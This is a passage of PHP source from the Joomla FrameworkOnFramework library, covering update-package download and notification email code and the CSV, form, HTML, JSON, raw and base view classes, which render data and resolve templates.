// Get the target filename
$filename = $this->component . '.zip';
$filename = rtrim($tmp_dest, '\\/') . '/' .
$filename;
try
{
$downloader = new FOFDownload();
$data = $downloader->getFromURL($url);
}
catch (Exception $e)
{
$code =$e->getCode();
$message =$e->getMessage();
throw new RuntimeException("An error occurred while trying to
download the update package. Double check your Download ID and your
server's network settings. The error message was: #$code:
$message");
}
if (!JFile::write($filename, $data))
{
if (!file_put_contents($filename, $data))
{
throw new RuntimeException("Joomla!'s temp-directory is not
writeable. Please check its permissions or set a different, writeable path
in Global Configuration before continuing.");
}
}
return $filename;
}
/**
* Gets a file name out of a url
*
* @param string $url URL to get name from
*
* @return mixed String filename or boolean false if failed
*/
private function getFilenameFromURL($url)
{
if (is_string($url))
{
$parts = explode('/', $url);
return $parts[count($parts) - 1];
}
return false;
}
/**
* Proxy to sendNotificationEmail(). Required since old versions of our
software had a sendNotificationEmail method
* declared private. If we set the sendNotificationEmail() method public
we cause a fatal error.
*
* @param string $version The new version of our software
* @param string $email The email address to send the notification
to
*
* @return mixed The result of JMail::send()
*/
public function doSendNotificationEmail($version, $email)
{
try
{
return $this->sendNotificationEmail($version, $email);
}
catch (\Exception $e)
{
// Joomla! 3.5 is buggy
}
}
/**
* Sends an update notification email
*
* @param string $version The new version of our software
* @param string $email The email address to send the notification
to
*
* @return mixed The result of JMail::send()
*/
private function sendNotificationEmail($version, $email)
{
$email_subject = $this->updateEmailSubject;
$email_body = $this->updateEmailBody;
$jconfig = JFactory::getConfig();
$sitename = $jconfig->get('sitename');
$substitutions = array(
'[VERSION]' => $version,
'[SITENAME]' => $sitename,
'[COMPONENT]' => $this->componentDescription,
);
$email_subject = str_replace(array_keys($substitutions),
array_values($substitutions), $email_subject);
$email_body = str_replace(array_keys($substitutions),
array_values($substitutions), $email_body);
$mailer = JFactory::getMailer();
$mailfrom = $jconfig->get('mailfrom');
$fromname = $jconfig->get('fromname');
$mailer->setSender(array( $mailfrom, $fromname ));
$mailer->addRecipient($email);
$mailer->setSubject($email_subject);
$mailer->setBody($email_body);
return $mailer->Send();
}
}
2.5.5
2016-08-19<?php
/**
* @package FrameworkOnFramework
* @subpackage view
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework CSV View class. Automatically renders the data in
CSV
* format.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFViewCsv extends FOFViewHtml
{
/**
* Should I produce a CSV header row.
*
* @var boolean
*/
protected $csvHeader = true;
/**
* The filename of the downloaded CSV file.
*
* @var string
*/
protected $csvFilename = null;
/**
* The columns to include in the CSV output. If it's empty it will be
ignored.
*
* @var array
*/
protected $csvFields = array();
/**
* Public constructor. Instantiates a FOFViewCsv object.
*
* @param array $config The configuration data array
*/
public function __construct($config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
parent::__construct($config);
if (array_key_exists('csv_header', $config))
{
$this->csvHeader = $config['csv_header'];
}
else
{
$this->csvHeader =
$this->input->getBool('csv_header', true);
}
if (array_key_exists('csv_filename', $config))
{
$this->csvFilename = $config['csv_filename'];
}
else
{
$this->csvFilename =
$this->input->getString('csv_filename', '');
}
if (empty($this->csvFilename))
{
$view = $this->input->getCmd('view',
'cpanel');
$view = FOFInflector::pluralize($view);
$this->csvFilename = strtolower($view);
}
if (array_key_exists('csv_fields', $config))
{
$this->csvFields = $config['csv_fields'];
}
}
/**
* Executes before rendering a generic page, default to actions necessary
for the Browse task.
*
* @param string $tpl Subtemplate to use
*
* @return boolean Return true to allow rendering of the page
*/
protected function onDisplay($tpl = null)
{
// Load the model
$model = $this->getModel();
$items = $model->getItemList();
$this->items = $items;
$platform = FOFPlatform::getInstance();
$document = $platform->getDocument();
if ($document instanceof JDocument)
{
$document->setMimeEncoding('text/csv');
}
$platform->setHeader('Pragma', 'public');
$platform->setHeader('Expires', '0');
$platform->setHeader('Cache-Control',
'must-revalidate, post-check=0, pre-check=0');
$platform->setHeader('Cache-Control',
'public', false);
$platform->setHeader('Content-Description', 'File
Transfer');
$platform->setHeader('Content-Disposition',
'attachment; filename="' . $this->csvFilename .
'"');
if (is_null($tpl))
{
$tpl = 'csv';
}
FOFPlatform::getInstance()->setErrorHandling(E_ALL,
'ignore');
$hasFailed = false;
try
{
$result = $this->loadTemplate($tpl, true);
if ($result instanceof Exception)
{
$hasFailed = true;
}
}
catch (Exception $e)
{
$hasFailed = true;
}
if (!$hasFailed)
{
echo $result;
}
else
{
// Default CSV behaviour in case the template isn't there!
if (empty($items))
{
return;
}
$item = array_pop($items);
$keys = get_object_vars($item);
$keys = array_keys($keys);
$items[] = $item;
reset($items);
if (!empty($this->csvFields))
{
$temp = array();
foreach ($this->csvFields as $f)
{
if (in_array($f, $keys))
{
$temp[] = $f;
}
}
$keys = $temp;
}
if ($this->csvHeader)
{
$csv = array();
foreach ($keys as $k)
{
$k = str_replace('"', '""', $k);
$k = str_replace("\r", '\\r', $k);
$k = str_replace("\n", '\\n', $k);
$k = '"' . $k . '"';
$csv[] = $k;
}
echo implode(",", $csv) . "\r\n";
}
foreach ($items as $item)
{
$csv = array();
$item = (array) $item;
foreach ($keys as $k)
{
if (!isset($item[$k]))
{
$v = '';
}
else
{
$v = $item[$k];
}
if (is_array($v))
{
$v = 'Array';
}
elseif (is_object($v))
{
$v = 'Object';
}
$v = str_replace('"', '""', $v);
$v = str_replace("\r", '\\r', $v);
$v = str_replace("\n", '\\n', $v);
$v = '"' . $v . '"';
$csv[] = $v;
}
echo implode(",", $csv) . "\r\n";
}
}
return false;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage view
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework Form class. It preferably renders an XML view
template
* instead of a traditional PHP-based view template.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFViewForm extends FOFViewHtml
{
/** @var FOFForm The form to render */
protected $form;
/**
* Displays the view
*
* @param string $tpl The template to use
*
* @return boolean|null False if we can't render anything
*/
public function display($tpl = null)
{
$model = $this->getModel();
// Get the form
$this->form = $model->getForm();
$this->form->setModel($model);
$this->form->setView($this);
// Get the task set in the model
$task = $model->getState('task', 'browse');
// Call the relevant method
$method_name = 'on' . ucfirst($task);
if (method_exists($this, $method_name))
{
$result = $this->$method_name($tpl);
}
else
{
$result = $this->onDisplay();
}
// Bail out if we're told not to render anything
if ($result === false)
{
return;
}
// Show the view
// -- Output HTML before the view template
$this->preRender();
// -- Try to load a view template; if not exists render the form directly
$basePath = FOFPlatform::getInstance()->isBackend() ?
'admin:' : 'site:';
$basePath .= $this->config['option'] . '/';
$basePath .= $this->config['view'] . '/';
$path = $basePath . $this->getLayout();
if ($tpl)
{
$path .= '_' . $tpl;
}
$viewTemplate = $this->loadAnyTemplate($path);
// If there was no template file found, display the form
if ($viewTemplate instanceof Exception)
{
$viewTemplate = $this->getRenderedForm();
}
// -- Output the view template
echo $viewTemplate;
// -- Output HTML after the view template
$this->postRender();
}
/**
* Returns the HTML rendering of the FOFForm attached to this view. Very
* useful for customising a form page without having to meticulously hand-
* code the entire form.
*
* @return string The HTML of the rendered form
*/
public function getRenderedForm()
{
$html = '';
$renderer = $this->getRenderer();
if ($renderer instanceof FOFRenderAbstract)
{
// Load CSS and Javascript files defined in the form
$this->form->loadCSSFiles();
$this->form->loadJSFiles();
// Get the form's HTML
$html = $renderer->renderForm($this->form, $this->getModel(),
$this->input);
}
return $html;
}
/**
* The event which runs when we are displaying the Add page
*
* @param string $tpl The view sub-template to use
*
* @return boolean True to allow display of the view
*/
protected function onAdd($tpl = null)
{
// Hide the main menu
JRequest::setVar('hidemainmenu', true);
// Get the model
$model = $this->getModel();
// Assign the item and form to the view
$this->item = $model->getItem();
return true;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage view
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework HTML output class. Together with PHP-based view
templates
* it will render your data into an HTML representation.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFViewHtml extends FOFViewRaw
{
/** @var bool Should I set the page title in the front-end of the site? */
public $setFrontendPageTitle = false;
/** @var string The translation key for the default page title */
public $defaultPageTitle = null;
/**
* Class constructor
*
* @param array $config Configuration parameters
*/
public function __construct($config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array)$config;
}
elseif (!is_array($config))
{
$config = array();
}
if (isset($config['setFrontendPageTitle']))
{
$this->setFrontendPageTitle =
(bool)$config['setFrontendPageTitle'];
}
if (isset($config['defaultPageTitle']))
{
$this->defaultPageTitle = $config['defaultPageTitle'];
}
parent::__construct($config);
}
/**
* Runs before rendering the view template, echoing HTML to put before the
* view template's generated HTML
*
* @return void
*/
protected function preRender()
{
$view = $this->input->getCmd('view', 'cpanel');
$task = $this->getModel()->getState('task',
'browse');
// Don't load the toolbar on CLI
if (!FOFPlatform::getInstance()->isCli())
{
$toolbar =
FOFToolbar::getAnInstance($this->input->getCmd('option',
'com_foobar'), $this->config);
$toolbar->perms = $this->perms;
$toolbar->renderToolbar($view, $task, $this->input);
}
if (FOFPlatform::getInstance()->isFrontend())
{
if ($this->setFrontendPageTitle)
{
$this->setPageTitle();
}
}
$renderer = $this->getRenderer();
$renderer->preRender($view, $task, $this->input, $this->config);
}
/**
* Runs after rendering the view template, echoing HTML to put after the
* view template's generated HTML
*
* @return void
*/
protected function postRender()
{
$view = $this->input->getCmd('view', 'cpanel');
$task = $this->getModel()->getState('task',
'browse');
$renderer = $this->getRenderer();
if ($renderer instanceof FOFRenderAbstract)
{
$renderer->postRender($view, $task, $this->input,
$this->config);
}
}
public function setPageTitle()
{
$document = JFactory::getDocument();
$app = JFactory::getApplication();
$menus = $app->getMenu();
$menu = $menus->getActive();
$title = null;
// Get the option and view name
$option = empty($this->option) ?
$this->input->getCmd('option', 'com_foobar') :
$this->option;
$view = empty($this->view) ?
$this->input->getCmd('view', $this->getName()) :
$this->view;
// Get the default page title translation key
$default = empty($this->defaultPageTitle) ? $option .
'_TITLE_' . $view : $this->defaultPageTitle;
$params = $app->getPageParameters($option);
// Set the default value for page_heading
if ($menu)
{
$params->def('page_heading',
$params->get('page_title', $menu->title));
}
else
{
$params->def('page_heading', JText::_($default));
}
// Set the document title
$title = $params->get('page_title', '');
$sitename = $app->getCfg('sitename');
if ($title == $sitename)
{
$title = JText::_($default);
}
if (empty($title))
{
$title = $sitename;
}
elseif ($app->getCfg('sitename_pagetitles', 0) == 1)
{
$title = JText::sprintf('JPAGETITLE',
$app->getCfg('sitename'), $title);
}
elseif ($app->getCfg('sitename_pagetitles', 0) == 2)
{
$title = JText::sprintf('JPAGETITLE', $title,
$app->getCfg('sitename'));
}
$document->setTitle($title);
// Set meta
if ($params->get('menu-meta_description'))
{
$document->setDescription($params->get('menu-meta_description'));
}
if ($params->get('menu-meta_keywords'))
{
$document->setMetadata('keywords',
$params->get('menu-meta_keywords'));
}
if ($params->get('robots'))
{
$document->setMetadata('robots',
$params->get('robots'));
}
return $title;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage view
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework JSON View class. Renders the data as a JSON object
or
* array. It can optionally output HAL links as well.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFViewJson extends FOFViewHtml
{
/**
* When set to true we'll add hypermedia to the output, implementing
the
* HAL specification (http://stateless.co/hal_specification.html)
*
* @var boolean
*/
public $useHypermedia = false;
/**
* Public constructor
*
* @param array $config The component's configuration array
*/
public function __construct($config = array())
{
parent::__construct($config);
if (isset($config['use_hypermedia']))
{
$this->useHypermedia = (bool) $config['use_hypermedia'];
}
}
/**
* The event which runs when we are displaying the record list JSON view
*
* @param string $tpl The view sub-template to use
*
* @return boolean True to allow display of the view
*/
protected function onDisplay($tpl = null)
{
// Load the model
$model = $this->getModel();
$items = $model->getItemList();
$this->items = $items;
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
if ($this->useHypermedia)
{
$document->setMimeEncoding('application/hal+json');
}
else
{
$document->setMimeEncoding('application/json');
}
}
if (is_null($tpl))
{
$tpl = 'json';
}
FOFPlatform::getInstance()->setErrorHandling(E_ALL,
'ignore');
$hasFailed = false;
try
{
$result = $this->loadTemplate($tpl, true);
if ($result instanceof Exception)
{
$hasFailed = true;
}
}
catch (Exception $e)
{
$hasFailed = true;
}
if ($hasFailed)
{
// Default JSON behaviour in case the template isn't there!
if ($this->useHypermedia)
{
$haldocument = $this->_createDocumentWithHypermedia($items, $model);
$json = $haldocument->render('json');
}
else
{
$json = json_encode($items);
}
// JSONP support
$callback = $this->input->get('callback', null,
'raw');
if (!empty($callback))
{
echo $callback . '(' . $json . ')';
}
else
{
$defaultName = $this->input->getCmd('view',
'joomla');
$filename = $this->input->getCmd('basename',
$defaultName);
$document->setName($filename);
echo $json;
}
return false;
}
else
{
echo $result;
return false;
}
}
/**
* The event which runs when we are displaying a single item JSON view
*
* @param string $tpl The view sub-template to use
*
* @return boolean True to allow display of the view
*/
protected function onRead($tpl = null)
{
$model = $this->getModel();
$item = $model->getItem();
$this->item = $item;
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
if ($this->useHypermedia)
{
$document->setMimeEncoding('application/hal+json');
}
else
{
$document->setMimeEncoding('application/json');
}
}
if (is_null($tpl))
{
$tpl = 'json';
}
FOFPlatform::getInstance()->setErrorHandling(E_ALL,
'ignore');
$hasFailed = false;
try
{
$result = $this->loadTemplate($tpl, true);
if ($result instanceof Exception)
{
$hasFailed = true;
}
}
catch (Exception $e)
{
$hasFailed = true;
}
if ($hasFailed)
{
// Default JSON behaviour in case the template isn't there!
if ($this->useHypermedia)
{
$haldocument = $this->_createDocumentWithHypermedia($item, $model);
$json = $haldocument->render('json');
}
else
{
$json = json_encode($item);
}
// JSONP support
$callback = $this->input->get('callback', null);
if (!empty($callback))
{
echo $callback . '(' . $json . ')';
}
else
{
$defaultName = $this->input->getCmd('view',
'joomla');
$filename = $this->input->getCmd('basename',
$defaultName);
$document->setName($filename);
echo $json;
}
return false;
}
else
{
echo $result;
return false;
}
}
/**
* Creates a FOFHalDocument using the provided data
*
* @param array $data The data to put in the document
* @param FOFModel $model The model of this view
*
* @return FOFHalDocument A HAL-enabled document
*/
protected function _createDocumentWithHypermedia($data, $model = null)
{
// Create a new HAL document
if (is_array($data))
{
$count = count($data);
}
else
{
$count = null;
}
if ($count == 1)
{
reset($data);
$document = new FOFHalDocument(end($data));
}
else
{
$document = new FOFHalDocument($data);
}
// Create a self link
$uri = (string) (JUri::getInstance());
$uri = $this->_removeURIBase($uri);
$uri = JRoute::_($uri);
$document->addLink('self', new FOFHalLink($uri));
// Create relative links in a record list context
if (is_array($data) && ($model instanceof FOFModel))
{
$pagination = $model->getPagination();
if ($pagination->get('pages.total') > 1)
{
// Try to guess URL parameters and create a prototype URL
// NOTE: You are better off specialising this method
$protoUri = $this->_getPrototypeURIForPagination();
// The "first" link
$uri = clone $protoUri;
$uri->setVar('limitstart', 0);
$uri = JRoute::_((string) $uri);
$document->addLink('first', new FOFHalLink($uri));
// Do we need a "prev" link?
if ($pagination->get('pages.current') > 1)
{
$prevPage = $pagination->get('pages.current') - 1;
$limitstart = ($prevPage - 1) * $pagination->limit;
$uri = clone $protoUri;
$uri->setVar('limitstart', $limitstart);
$uri = JRoute::_((string) $uri);
$document->addLink('prev', new FOFHalLink($uri));
}
// Do we need a "next" link?
if ($pagination->get('pages.current') <
$pagination->get('pages.total'))
{
$nextPage = $pagination->get('pages.current') + 1;
$limitstart = ($nextPage - 1) * $pagination->limit;
$uri = clone $protoUri;
$uri->setVar('limitstart', $limitstart);
$uri = JRoute::_((string) $uri);
$document->addLink('next', new FOFHalLink($uri));
}
// The "last" link?
$lastPage = $pagination->get('pages.total');
$limitstart = ($lastPage - 1) * $pagination->limit;
$uri = clone $protoUri;
$uri->setVar('limitstart', $limitstart);
$uri = JRoute::_((string) $uri);
$document->addLink('last', new FOFHalLink($uri));
}
}
return $document;
}
/**
* Convert an absolute URI to a relative one
*
* @param string $uri The URI to convert
*
* @return string The relative URL
*/
protected function _removeURIBase($uri)
{
static $root = null, $rootlen = 0;
if (is_null($root))
{
$root = rtrim(FOFPlatform::getInstance()->URIbase(), '/');
$rootlen = strlen($root);
}
if (substr($uri, 0, $rootlen) == $root)
{
$uri = substr($uri, $rootlen);
}
return ltrim($uri, '/');
}
/**
* Returns a JUri instance with a prototype URI used as the base for the
* other URIs created by the JSON renderer
*
* @return JUri The prototype JUri instance
*/
protected function _getPrototypeURIForPagination()
{
$protoUri = new JUri('index.php');
$protoUri->setQuery($this->input->getData());
$protoUri->delVar('savestate');
$protoUri->delVar('base_path');
return $protoUri;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage view
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework raw output class. It works like an HTML view, but
the
* output is bare HTML.
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFViewRaw extends FOFView
{
/** @var array Data lists */
protected $lists = null;
/** @var array Permissions map */
protected $perms = null;
/**
* Class constructor
*
* @param array $config Configuration parameters
*/
public function __construct($config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
parent::__construct($config);
$this->config = $config;
// Get the input
if (array_key_exists('input', $config))
{
if ($config['input'] instanceof FOFInput)
{
$this->input = $config['input'];
}
else
{
$this->input = new FOFInput($config['input']);
}
}
else
{
$this->input = new FOFInput;
}
if (!array_key_exists('option', $this->config))
{
$this->config['option'] =
$this->input->getCmd('option', 'com_foobar');
}
if (!array_key_exists('view', $this->config))
{
$this->config['view'] =
$this->input->getCmd('view', 'cpanel');
}
$this->lists = new FOFUtilsObject;
if (!FOFPlatform::getInstance()->isCli())
{
$platform = FOFPlatform::getInstance();
$perms = (object) array(
'create' =>
$platform->authorise('core.create' ,
$this->input->getCmd('option', 'com_foobar')),
'edit' => $platform->authorise('core.edit'
, $this->input->getCmd('option',
'com_foobar')),
'editown' =>
$platform->authorise('core.edit.own' ,
$this->input->getCmd('option', 'com_foobar')),
'editstate' =>
$platform->authorise('core.edit.state' ,
$this->input->getCmd('option', 'com_foobar')),
'delete' =>
$platform->authorise('core.delete' ,
$this->input->getCmd('option', 'com_foobar')),
);
$this->aclperms = $perms;
$this->perms = $perms;
}
}
/**
* Displays the view
*
* @param string $tpl The template to use
*
* @return boolean|null False if we can't render anything
*/
public function display($tpl = null)
{
// Get the task set in the model
$model = $this->getModel();
$task = $model->getState('task', 'browse');
// Call the relevant method
$method_name = 'on' . ucfirst($task);
if (method_exists($this, $method_name))
{
$result = $this->$method_name($tpl);
}
else
{
$result = $this->onDisplay();
}
if ($result === false)
{
return;
}
// Show the view
if ($this->doPreRender)
{
$this->preRender();
}
parent::display($tpl);
if ($this->doPostRender)
{
$this->postRender();
}
}
/**
* Last chance to output something before rendering the view template
*
* @return void
*/
protected function preRender()
{
}
/**
* Last chance to output something after rendering the view template and
* before returning to the caller
*
* @return void
*/
protected function postRender()
{
}
/**
* Executes before rendering the page for the Browse task.
*
* @param string $tpl Subtemplate to use
*
* @return boolean Return true to allow rendering of the page
*/
protected function onBrowse($tpl = null)
{
// When in interactive browsing mode, save the state to the session
$this->getModel()->savestate(1);
return $this->onDisplay($tpl);
}
/**
* Executes before rendering a generic page, default to actions necessary
* for the Browse task.
*
* @param string $tpl Subtemplate to use
*
* @return boolean Return true to allow rendering of the page
*/
protected function onDisplay($tpl = null)
{
$view = $this->input->getCmd('view', 'cpanel');
if (in_array($view, array('cpanel', 'cpanels')))
{
return;
}
// Load the model
$model = $this->getModel();
// ...ordering
$this->lists->set('order',
$model->getState('filter_order', 'id',
'cmd'));
$this->lists->set('order_Dir',
$model->getState('filter_order_Dir', 'DESC',
'cmd'));
// Assign data to the view
$this->items = $model->getItemList();
$this->pagination = $model->getPagination();
// Pass page params on frontend only
if (FOFPlatform::getInstance()->isFrontend())
{
$params = JFactory::getApplication()->getParams();
$this->params = $params;
}
return true;
}
/**
* Executes before rendering the page for the Add task.
*
* @param string $tpl Subtemplate to use
*
* @return boolean Return true to allow rendering of the page
*/
protected function onAdd($tpl = null)
{
JRequest::setVar('hidemainmenu', true);
$model = $this->getModel();
$this->item = $model->getItem();
return true;
}
/**
* Executes before rendering the page for the Edit task.
*
* @param string $tpl Subtemplate to use
*
* @return boolean Return true to allow rendering of the page
*/
protected function onEdit($tpl = null)
{
// This perms are used only for aesthetic reasons (ie showing
toolbar buttons), "real" checks
// are made by the controller
// It seems that I can't edit records, maybe I can edit only
this one due asset tracking?
if (!$this->perms->edit || !$this->perms->editown)
{
$model = $this->getModel();
if($model)
{
$table = $model->getTable();
// Ok, record is tracked, let's see if I can this
record
if($table->isAssetsTracked())
{
$platform = FOFPlatform::getInstance();
if(!$this->perms->edit)
{
$this->perms->edit =
$platform->authorise('core.edit', $table->getAssetName());
}
if(!$this->perms->editown)
{
$this->perms->editown =
$platform->authorise('core.edit.own',
$table->getAssetName());
}
}
}
}
return $this->onAdd($tpl);
}
/**
* Executes before rendering the page for the Read task.
*
* @param string $tpl Subtemplate to use
*
* @return boolean Return true to allow rendering of the page
*/
protected function onRead($tpl = null)
{
// All I need is to read the record
return $this->onAdd($tpl);
}
/**
* Determines if the current Joomla! version and your current table
support
* AJAX-powered drag and drop reordering. If they do, it will set up the
* drag & drop reordering feature.
*
* @return boolean|array False if not supported, a table with necessary
* information (saveOrder: should you enabled DnD
* reordering; orderingColumn: which column has
the
* ordering information).
*/
public function hasAjaxOrderingSupport()
{
if (version_compare(JVERSION, '3.0', 'lt'))
{
return false;
}
$model = $this->getModel();
if (!method_exists($model, 'getTable'))
{
return false;
}
$table = $this->getModel()->getTable();
if (!method_exists($table, 'getColumnAlias') ||
!method_exists($table, 'getTableFields'))
{
return false;
}
$orderingColumn = $table->getColumnAlias('ordering');
$fields = $table->getTableFields();
if (!is_array($fields) || !array_key_exists($orderingColumn, $fields))
{
return false;
}
$listOrder =
$this->escape($model->getState('filter_order', null,
'cmd'));
$listDirn =
$this->escape($model->getState('filter_order_Dir',
'ASC', 'cmd'));
$saveOrder = $listOrder == $orderingColumn;
if ($saveOrder)
{
$saveOrderingUrl = 'index.php?option=' .
$this->config['option'] . '&view=' .
$this->config['view'] .
'&task=saveorder&format=json';
JHtml::_('sortablelist.sortable', 'itemsList',
'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
return array(
'saveOrder' => $saveOrder,
'orderingColumn' => $orderingColumn
);
}
/**
* Returns the internal list of useful variables to the benefit of
* FOFFormHeader fields.
*
* @return array
*
* @since 2.0
*/
public function getLists()
{
return $this->lists;
}
/**
* Returns a reference to the permissions object of this view
*
* @return stdClass
*/
public function getPerms()
{
return $this->perms;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage view
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework View class. The View is the MVC component which
gets the
* raw data from a Model and renders it in a way that makes sense. The
usual
* rendering is HTML, but you can also output JSON, CSV, XML, or even media
* (images, videos, ...) and documents (Word, PDF, Excel...).
*
* @package FrameworkOnFramework
* @since 1.0
*/
abstract class FOFView extends FOFUtilsObject
{
/**
* The name of the view
*
* @var array
*/
protected $_name = null;
/**
* Registered models
*
* @var array
*/
protected $_models = array();
/**
* The base path of the view
*
* @var string
*/
protected $_basePath = null;
/**
* The default model
*
* @var string
*/
protected $_defaultModel = null;
/**
* Layout name
*
* @var string
*/
protected $_layout = 'default';
/**
* Layout extension
*
* @var string
*/
protected $_layoutExt = 'php';
/**
* Layout template
*
* @var string
*/
protected $_layoutTemplate = '_';
/**
* The set of search directories for resources (templates)
*
* @var array
*/
protected $_path = array('template' => array(),
'helper' => array());
/**
* The name of the default template source file.
*
* @var string
*/
protected $_template = null;
/**
* The output of the template script.
*
* @var string
*/
protected $_output = null;
/**
* Callback for escaping.
*
* @var string
* @deprecated 13.3
*/
protected $_escape = 'htmlspecialchars';
/**
* Charset to use in escaping mechanisms; defaults to urf8 (UTF-8)
*
* @var string
*/
protected $_charset = 'UTF-8';
/**
* The available renderer objects we can use to render views
*
* @var array Contains objects of the FOFRenderAbstract class
*/
public static $renderers = array();
/**
* Cache of the configuration array
*
* @var array
*/
protected $config = array();
/**
* The input object of this view
*
* @var FOFInput
*/
protected $input = null;
/**
* The chosen renderer object
*
* @var FOFRenderAbstract
*/
protected $rendererObject = null;
/**
* Should I run the pre-render step?
*
* @var boolean
*/
protected $doPreRender = true;
/**
* Should I run the post-render step?
*
* @var boolean
*/
protected $doPostRender = true;
/**
* Public constructor. Instantiates a FOFView object.
*
* @param array $config The configuration data array
*/
public function __construct($config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
// Get the input
if (array_key_exists('input', $config))
{
if ($config['input'] instanceof FOFInput)
{
$this->input = $config['input'];
}
else
{
$this->input = new FOFInput($config['input']);
}
}
else
{
$this->input = new FOFInput;
}
parent::__construct($config);
$component = 'com_foobar';
// Get the component name
if (array_key_exists('input', $config))
{
if ($config['input'] instanceof FOFInput)
{
$tmpInput = $config['input'];
}
else
{
$tmpInput = new FOFInput($config['input']);
}
$component = $tmpInput->getCmd('option', '');
}
else
{
$tmpInput = $this->input;
}
if (array_key_exists('option', $config))
{
if ($config['option'])
{
$component = $config['option'];
}
}
$config['option'] = $component;
// Get the view name
$view = null;
if (array_key_exists('input', $config))
{
$view = $tmpInput->getCmd('view', '');
}
if (array_key_exists('view', $config))
{
if ($config['view'])
{
$view = $config['view'];
}
}
$config['view'] = $view;
// Set the component and the view to the input array
if (array_key_exists('input', $config))
{
$tmpInput->set('option', $config['option']);
$tmpInput->set('view', $config['view']);
}
// Set the view name
if (array_key_exists('name', $config))
{
$this->_name = $config['name'];
}
else
{
$this->_name = $config['view'];
}
$tmpInput->set('view', $this->_name);
$config['input'] = $tmpInput;
$config['name'] = $this->_name;
$config['view'] = $this->_name;
// Get the component directories
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($config['option']);
// Set the charset (used by the variable escaping functions)
if (array_key_exists('charset', $config))
{
FOFPlatform::getInstance()->logDeprecated('Setting a custom
charset for escaping in FOFView\'s constructor is deprecated. Override
FOFView::escape() instead.');
$this->_charset = $config['charset'];
}
// User-defined escaping callback
if (array_key_exists('escape', $config))
{
$this->setEscape($config['escape']);
}
// Set a base path for use by the view
if (array_key_exists('base_path', $config))
{
$this->_basePath = $config['base_path'];
}
else
{
$this->_basePath = $componentPaths['main'];
}
// Set the default template search path
if (array_key_exists('template_path', $config))
{
// User-defined dirs
$this->_setPath('template',
$config['template_path']);
}
else
{
$altView = FOFInflector::isSingular($this->getName()) ?
FOFInflector::pluralize($this->getName()) :
FOFInflector::singularize($this->getName());
$this->_setPath('template', $this->_basePath .
'/views/' . $altView . '/tmpl');
$this->_addPath('template', $this->_basePath .
'/views/' . $this->getName() . '/tmpl');
}
// Set the default helper search path
if (array_key_exists('helper_path', $config))
{
// User-defined dirs
$this->_setPath('helper',
$config['helper_path']);
}
else
{
$this->_setPath('helper', $this->_basePath .
'/helpers');
}
// Set the layout
if (array_key_exists('layout', $config))
{
$this->setLayout($config['layout']);
}
else
{
$this->setLayout('default');
}
$this->config = $config;
if (!FOFPlatform::getInstance()->isCli())
{
$this->baseurl = FOFPlatform::getInstance()->URIbase(true);
$fallback =
FOFPlatform::getInstance()->getTemplateOverridePath($component) .
'/' . $this->getName();
$this->_addPath('template', $fallback);
}
}
/**
* Loads a template given any path. The path is in the format:
* [admin|site]:com_foobar/viewname/templatename
* e.g. admin:com_foobar/myview/default
*
* This function searches for Joomla! version override templates. For
example,
* if you have run this under Joomla! 3.0 and you try to load
* admin:com_foobar/myview/default it will automatically search for the
* template files default.j30.php, default.j3.php and default.php, in this
* order.
*
* @param string $path See above
* @param array $forceParams A hash array of variables to be
extracted in the local scope of the template file
*
* @return boolean False if loading failed
*/
public function loadAnyTemplate($path = '', $forceParams =
array())
{
// Automatically check for a Joomla! version specific override
$throwErrorIfNotFound = true;
$suffixes = FOFPlatform::getInstance()->getTemplateSuffixes();
foreach ($suffixes as $suffix)
{
if (substr($path, -strlen($suffix)) == $suffix)
{
$throwErrorIfNotFound = false;
break;
}
}
if ($throwErrorIfNotFound)
{
